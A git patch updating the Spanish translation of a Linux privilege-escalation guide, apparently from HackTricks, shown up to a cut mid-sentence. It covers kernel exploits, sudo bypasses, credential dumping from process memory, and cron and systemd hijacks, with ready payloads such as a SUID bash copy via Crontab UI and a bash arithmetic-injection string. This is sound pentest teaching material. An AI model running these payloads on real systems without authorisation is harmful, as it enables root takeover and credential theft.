From 91dfdfb8c6ee3386468bb3807f884de58f5c47dd Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:17:33 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 523 ++++++++++-------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 +++++ .../pentesting-web/vmware-esx-vcenter....md | 18 +- 4 files changed, 447 insertions(+), 241 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index e16486203..20a840992 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,29 +4,29 @@ ## Información del sistema -### Información del SO +### Información del OS -Comencemos a recopilar información sobre el sistema operativo en ejecución +Empecemos a recopilar información sobre el OS en ejecución. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Ruta -Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`**, podrías secuestrar algunas librerías o binarios: +Si **tienes permisos de escritura en alguna carpeta incluida en la variable `PATH`**, es posible que puedas secuestrar algunas librerías o binarios: ```bash echo $PATH ``` ### Información del entorno -¿Hay información interesante, contraseñas o claves API en las variables de entorno? +¿Información interesante, contraseñas o claves API en las variables de entorno? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Comprueba la versión del kernel y si hay algún exploit que pueda usarse para escalar privilegios +Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios ```bash cat /proc/version uname -a @@ -35,17 +35,17 @@ searchsploit "Linux Kernel" Puedes encontrar una buena lista de kernels vulnerables y algunos ya **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Otros sitios donde puedes encontrar algunos **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extraer todas las versiones de kernel vulnerables de ese sitio web puedes hacer: +Para extraer todas las versiones vulnerables del kernel de esa web puedes hacer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Herramientas que pueden ayudar a buscar exploits del kernel son: +Herramientas que pueden ayudar a buscar kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN la víctima, solo comprueba exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN victim, solo comprueba exploits para kernel 2.x) -Siempre **busca la versión del kernel en Google**, quizá la versión de tu kernel esté escrita en algún kernel exploit y así te asegurarás de que ese exploit es válido. +Siempre **busca la versión del kernel en Google**, tal vez la versión de tu kernel esté escrita en algún kernel exploit y así estarás seguro de que ese exploit es válido. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo versión +### Sudo version -Basado en las versiones vulnerables de sudo que aparecen en: +Basado en las versiones de sudo vulnerables que aparecen en: ```bash searchsploit sudo ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg signature verification failed -Consulta **smasher2 box of HTB** para un **ejemplo** de cómo podría explotarse esta vuln +Consulta **smasher2 box of HTB** para un **ejemplo** de cómo se podría explotar esta vuln ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si estás dentro de un contenedor docker, puedes intentar escapar de él: +Si estás dentro de un docker container, puedes intentar escapar de él: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Unidades -Comprueba **qué está montado y qué no**, dónde y por qué. Si algo no está montado podrías intentar montarlo y comprobar si contiene información privada. +Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y comprobar si contiene información privada. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,7 +141,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumera binarios útiles +Enumerar binarios útiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` @@ -151,50 +151,50 @@ Además, comprueba si **algún compilador está instalado**. Esto es útil si ne ``` ### Software vulnerable instalado -Comprueba la **versión de los paquetes y servicios instalados**. Quizás haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalating privileges…\ -Se recomienda comprobar manualmente la versión del software instalado que resulte más sospechoso. +Comprueba la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que pueda explotarse para escalar privilegios…\ +Se recomienda comprobar manualmente la versión del software instalado que parezca más sospechoso. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si tienes acceso SSH a la máquina, también puedes usar **openVAS** para comprobar si hay software desactualizado o vulnerable instalado en la máquina. +Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para comprobar si el software instalado en la máquina está desactualizado o es vulnerable. -> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil; por ello se recomiendan aplicaciones como OpenVAS o similares que verifiquen si alguna versión de software instalada es vulnerable a exploits conocidos_ +> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por eso se recomiendan aplicaciones como OpenVAS u otras similares que comprueben si alguna versión del software instalada es vulnerable a exploits conocidos_ ## Procesos -Echa un vistazo a **qué procesos** se están ejecutando y comprueba si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?) +Observa **qué procesos** se están ejecutando y comprueba si algún proceso tiene **más privilegios de los que debería** (¿quizá un tomcat ejecutándose como root?) ```bash ps aux ps -ef top -n 1 ``` -Siempre verifica posibles [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esos comprobando el parámetro `--inspect` dentro de la línea de comandos del proceso.\ -También **verifica tus privilegios sobre los binarios de los procesos**, quizá puedas sobrescribir alguno. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +También **check your privileges over the processes binaries**, maybe you can overwrite someone. ### Monitorización de procesos -Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen ciertos requisitos. +Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos. -### Memoria del proceso +### Memoria de procesos -Algunos servicios de un servidor guardan **credenciales en texto claro dentro de la memoria**.\ -Normalmente necesitarás **privilegios root** para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.\ +Algunos servicios de un servidor guardan **credentials in clear text inside the memory**.\ +Normalmente necesitarás **root privileges** para leer la memoria de procesos que pertenecen a otros usuarios, por lo que esto suele ser más útil cuando ya eres root y quieres descubrir más credentials.\ Sin embargo, recuerda que **como usuario normal puedes leer la memoria de los procesos que posees**. > [!WARNING] -> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes dumper otros procesos que pertenezcan a tu usuario sin privilegios. +> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario no privilegiado. > > El archivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla la accesibilidad de ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser debugged, siempre que tengan el mismo uid. Esta es la forma clásica en la que funcionaba ptrace. -> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser debugged. -> - **kernel.yama.ptrace_scope = 2**: Solo un administrador puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Ningún proceso puede ser trazado con ptrace. Una vez establecido, se necesita un reinicio para habilitar ptrace de nuevo. +> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en la que funcionaba el ptracing. +> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado. +> - **kernel.yama.ptrace_scope = 2**: solo admin puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: no se puede trazar ningún proceso con ptrace. Una vez establecido, es necesario reiniciar para habilitar ptracing de nuevo. #### GDB -Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior las credenciales. +Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar dentro de sus credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para un ID de proceso dado, **maps muestran cómo la memoria está mapeada dentro del** espacio de direcciones virtual del proceso; también muestran los **permisos de cada región mapeada**. El archivo pseudo **mem** **expone la propia memoria del proceso**. Desde el archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** en un archivo. +Para un ID de proceso dado, el archivo **maps muestra cómo se mapea la memoria dentro del** espacio de direcciones virtual del proceso; también muestra los **permisos de cada región mapeada**. El pseudo archivo **mem** **expone la propia memoria del proceso**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus offsets. Usamos esta información para **seek en el archivo mem y dump todas las regiones legibles** a un archivo. ```bash procdump() ( @@ -231,8 +231,8 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtual del kernel puede accederse usando /dev/kmem.\ -Típicamente, `/dev/mem` solo es legible por **root** y el grupo kmem. +`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede ser accedido usando /dev/kmem.\ +Típicamente, `/dev/mem` solo puede ser leído por **root** y el grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` @@ -267,10 +267,10 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Herramientas -Para volcar la memoria de un proceso puedes usar: +Para dump la memoria de un proceso puedes usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que pertenece a tu usuario +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y dump el proceso que te pertenece - Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) ### Credenciales desde la memoria del proceso @@ -282,18 +282,18 @@ Si encuentras que el proceso authenticator está en ejecución: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puedes dump el proceso (consulta las secciones anteriores para encontrar diferentes maneras de dump la memoria de un proceso) y buscar credenciales dentro de la memoria: +Puedes volcar el proceso (ver las secciones anteriores para encontrar diferentes maneras de volcar la memoria de un proceso) y buscar credenciales dentro de la memoria: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **robará credenciales en texto plano desde la memoria** y desde algunos **archivos bien conocidos**. Requiere privilegios root para funcionar correctamente. +La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) robará clear text credentials de la memoria y de algunos archivos bien conocidos. Requiere privilegios de root para funcionar correctamente. | Funcionalidad | Nombre del proceso | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | @@ -314,22 +314,54 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tareas programadas/Cron jobs +## Tareas programadas / Cron jobs -Verifica si alguna tarea programada es vulnerable. Quizá puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?). +### Crontab UI (alseambusher) ejecutándose como root – privesc en un scheduler basado en web + +Si un panel web “Crontab UI” (alseambusher/crontab-ui) se ejecuta como root y sólo está ligado a loopback, aún puedes acceder a él vía SSH local port-forwarding y crear una tarea privilegiada para escalar. + +Typical chain +- Descubrir puerto sólo accesible desde loopback (p. ej., 127.0.0.1:8000) y Basic-Auth realm mediante `ss -ntlp` / `curl -v localhost:8000` +- Encontrar credenciales en artefactos operativos: + - Copias de seguridad/scripts con `zip -P ` + - Unidad systemd exponiendo `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Crear túnel y login: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- Crear un job de alto privilegio y ejecutarlo inmediatamente (deja caer un SUID shell): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- Úsalo: +```bash +/tmp/rootshell -p # root shell +``` +Endurecimiento +- No ejecutes Crontab UI como root; constríngelo a un usuario dedicado con permisos mínimos +- Asócialo a localhost y además restringe el acceso vía firewall/VPN; no reutilices contraseñas +- Evita incrustar secretos en unit files; usa secret stores o un EnvironmentFile accesible solo por root +- Habilita audit/logging para ejecuciones de jobs on-demand + + + +Comprueba si alguna tarea programada es vulnerable. Quizá puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Ruta de Cron Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Observa cómo el usuario "user" tiene privilegios de escritura sobre /home/user_) -Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: _\* \* \* \* root overwrite.sh_\ -Entonces, puedes obtener una shell root usando: +Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: _\* \* \* \* root overwrite.sh_\ +Entonces, puedes obtener un root shell usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -341,7 +373,7 @@ Si un script que se ejecuta como root tiene un “**\***” dentro de un comando ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si el wildcard está precedido por una ruta como** _**/some/path/\***_ **, no es vulnerable (ni siquiera** _**./\***_ **lo es).** +**Si el wildcard está precedido por una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).** Lee la siguiente página para más trucos de explotación de wildcard: @@ -353,11 +385,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash realiza parameter expansion y command substitution antes de la evaluación aritmética en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de log no fiables y los pasa a un contexto aritmético, un atacante puede inyectar una command substitution $(...) que se ejecutará como root cuando el cron se ejecute. +Bash realiza parameter expansion y command substitution antes de la arithmetic evaluation en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de log no confiables y los introduce en un contexto aritmético, un atacante puede inyectar un command substitution $(...) que se ejecuta como root cuando corre el cron. -- Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, luego word splitting y pathname expansion. Por eso un valor como `$(/bin/bash -c 'id > /tmp/pwn')0` se sustituye primero (ejecutando el comando), y luego el `0` numérico restante se usa para la aritmética, por lo que el script continúa sin errores. +- Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, luego word splitting y pathname expansion. Así que un valor como `$(/bin/bash -c 'id > /tmp/pwn')0` se sustituye primero (ejecutando el comando), y luego el `0` numérico restante se usa para la aritmética de modo que el script continúa sin errores. -- Typical vulnerable pattern: +- Patrón típico vulnerable: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,14 +399,14 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Explotación: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo que parece numérico contenga una command substitution y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga siendo válida. +- Explotación: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo que parece numérico contenga un command substitution y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga siendo válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -### Cron script overwriting and symlink +### Sobrescritura de cron script y symlink Si **puedes modificar un cron script** ejecutado por root, puedes obtener una shell muy fácilmente: ```bash @@ -382,15 +414,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si el script ejecutado por root usa un directory al que tienes acceso total, podría ser útil eliminar esa folder y crear un symlink hacia otra que sirva un script controlado por ti. +Si el script ejecutado por root usa un **directorio donde tienes acceso total**, quizá sea útil eliminar esa carpeta y **crear una carpeta symlink hacia otra** que sirva un script controlado por ti ```bash ln -d -s ``` -### Frequent cron jobs +### Cron jobs frecuentes -Puedes monitorizar los procesos para buscar aquellos que se están ejecutando cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo para escalar privilegios. +Puedes monitorizar los procesos para buscar aquellos que se ejecutan cada 1, 2 o 5 minutos. Quizás puedas aprovecharlo para escalate privileges. -Por ejemplo, para **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +Por ejemplo, para **monitorizar cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -398,7 +430,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Cron jobs invisibles -Es posible crear un cronjob **poniendo un retorno de carro después de un comentario** (sin carácter de nueva línea), y el cronjob funcionará. Ejemplo (nota el carácter de retorno de carro): +Es posible crear un cronjob **colocando un carriage return después de un comentario** (sin el carácter de nueva línea), y el cronjob funcionará. Ejemplo (fíjate en el carácter carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,12 +438,12 @@ Es posible crear un cronjob **poniendo un retorno de carro después de un coment ### Archivos _.service_ escribibles -Comprueba si puedes escribir cualquier archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizá necesites esperar hasta que la máquina se reinicie).\ +Comprueba si puedes escribir cualquier archivo `.service`; si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizá necesites esperar hasta que la máquina se reinicie).\ Por ejemplo, crea tu backdoor dentro del archivo .service con **`ExecStart=/tmp/script.sh`** ### Binarios de servicio escribibles -Ten en cuenta que si tienes **permisos de escritura sobre binarios que son ejecutados por servicios**, puedes modificarlos para introducir backdoors, de modo que cuando los servicios se vuelvan a ejecutar los backdoors se ejecuten. +Ten en cuenta que si tienes **permisos de escritura sobre binarios ejecutados por servicios**, puedes cambiarlos por backdoors para que cuando los servicios se vuelvan a ejecutar los backdoors se ejecuten. ### systemd PATH - Rutas relativas @@ -419,21 +451,21 @@ Puedes ver el PATH usado por **systemd** con: ```bash systemctl show-environment ``` -Si encuentras que puedes **escribir** en cualquiera de las carpetas de la ruta, podrías ser capaz de **escalate privileges**. Debes buscar **rutas relativas utilizadas en archivos de configuración de servicios** como: +Si descubres que puedes **write** en cualquiera de las carpetas de la ruta, es posible que puedas **escalate privileges**. Debes buscar **rutas relativas usadas en archivos de configuración de servicios** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Luego, crea un **ejecutable** con el **mismo nombre que el binario referenciado por la ruta relativa** dentro de la carpeta del PATH de systemd en la que puedas escribir, y cuando el servicio sea solicitado para ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor será ejecutado** (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar `sudo -l`). +Luego, crea un **executable** con el **same name as the relative path binary** dentro de la systemd PATH folder que puedas escribir, y cuando se le pida al service ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor será ejecutado** (los usuarios no privilegiados normalmente no pueden start/stop services, pero comprueba si puedes usar `sudo -l`). -**Aprende más sobre los servicios con `man systemd.service`.** +**Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. **Timers** pueden usarse como alternativa a cron, ya que tienen soporte integrado para eventos de tiempo calendario y eventos de tiempo monotónico, y pueden ejecutarse de forma asincrónica. +**Timers** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. **Timers** pueden usarse como alternativa a cron ya que tienen soporte integrado para eventos de tiempo de calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asíncrona. -Puedes enumerar todos los timers con: +Puedes enumerar todos los Timers con: ```bash systemctl list-timers --all ``` @@ -443,54 +475,53 @@ Si puedes modificar un timer, puedes hacer que ejecute algunas unidades existent ```bash Unit=backdoor.service ``` -En la documentación puedes leer qué es la Unit: +En la documentación puedes leer qué es la unidad: -> La unit a activar cuando expire este timer. El argumento es un nombre de unit, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto es un service que tiene el mismo nombre que la timer unit, salvo por el sufijo. (Ver arriba.) Se recomienda que el nombre de unit que se activa y el nombre de la timer unit se nombren idénticamente, excepto por el sufijo. +> La unidad que se activa cuando este timer expira. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto apunta a un servicio que tiene el mismo nombre que la unidad timer, excepto por el sufijo. (Ver más arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del timer se nombren idénticamente, salvo por el sufijo. Por lo tanto, para abusar de este permiso necesitarías: -- Encuentra alguna systemd unit (como un `.service`) que esté **ejecutando un binario modificable** -- Encuentra alguna systemd unit que esté **ejecutando una ruta relativa** y sobre la que tengas **privilegios de escritura** en el **systemd PATH** (para suplantar ese ejecutable) +- Encuentra alguna unidad systemd (como un `.service`) que esté **ejecutando un binario escribible** +- Encuentra alguna unidad systemd que esté **ejecutando una ruta relativa** y tengas **privilegios de escritura** sobre el **systemd PATH** (para suplantar ese ejecutable) -Más información sobre timers con `man systemd.timer`. +**Aprende más sobre timers con `man systemd.timer`.** ### **Habilitar Timer** -Para habilitar un timer necesitas privilegios de root y ejecutar: +Para habilitar un timer necesitas privilegios root y ejecutar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Nótese que el **timer** se **activa** creando un symlink a él en `/etc/systemd/system/.wants/.timer` +Nota: el **temporizador** se **activa** creando un symlink hacia él en `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) habilitan la **comunicación entre procesos** en la misma o en diferentes máquinas dentro de modelos cliente-servidor. Utilizan ficheros de descriptor estándar de Unix para la comunicación entre máquinas y se configuran mediante archivos `.socket`. +Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la misma o en diferentes máquinas dentro de modelos cliente-servidor. Utilizan ficheros descriptor estándar de Unix para la comunicación entre equipos y se configuran mediante archivos `.socket`. -Los sockets pueden configurarse usando archivos `.socket`. +Sockets pueden ser configurados usando archivos `.socket`. -**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes: +**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo se pueden configurar varios parámetros interesantes: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, el número IPv4/6 y/o el puerto a escuchar, etc.) -- `Accept`: Toma un argumento booleano. Si **true**, una **instancia de servicio se crea para cada conexión entrante** y solo el socket de conexión se pasa a ella. Si **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para datagram sockets y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons solo de forma adecuada para `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Toman una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido por los argumentos para el proceso. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, el IPv4/6 y/o número de puerto a escuchar, etc.). +- `Accept`: Toma un argumento booleano. Si **true**, se **lanza una instancia del servicio por cada conexión entrante** y solo se le pasa el socket de la conexión. Si **false**, todos los sockets de escucha en sí **se pasan a la unidad de servicio iniciada**, y solo se lanza una unidad de servicio para todas las conexiones. Este valor se ignora para sockets datagram y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons de forma adecuada para `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Toman una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y ligados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de los argumentos para el proceso. - `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** 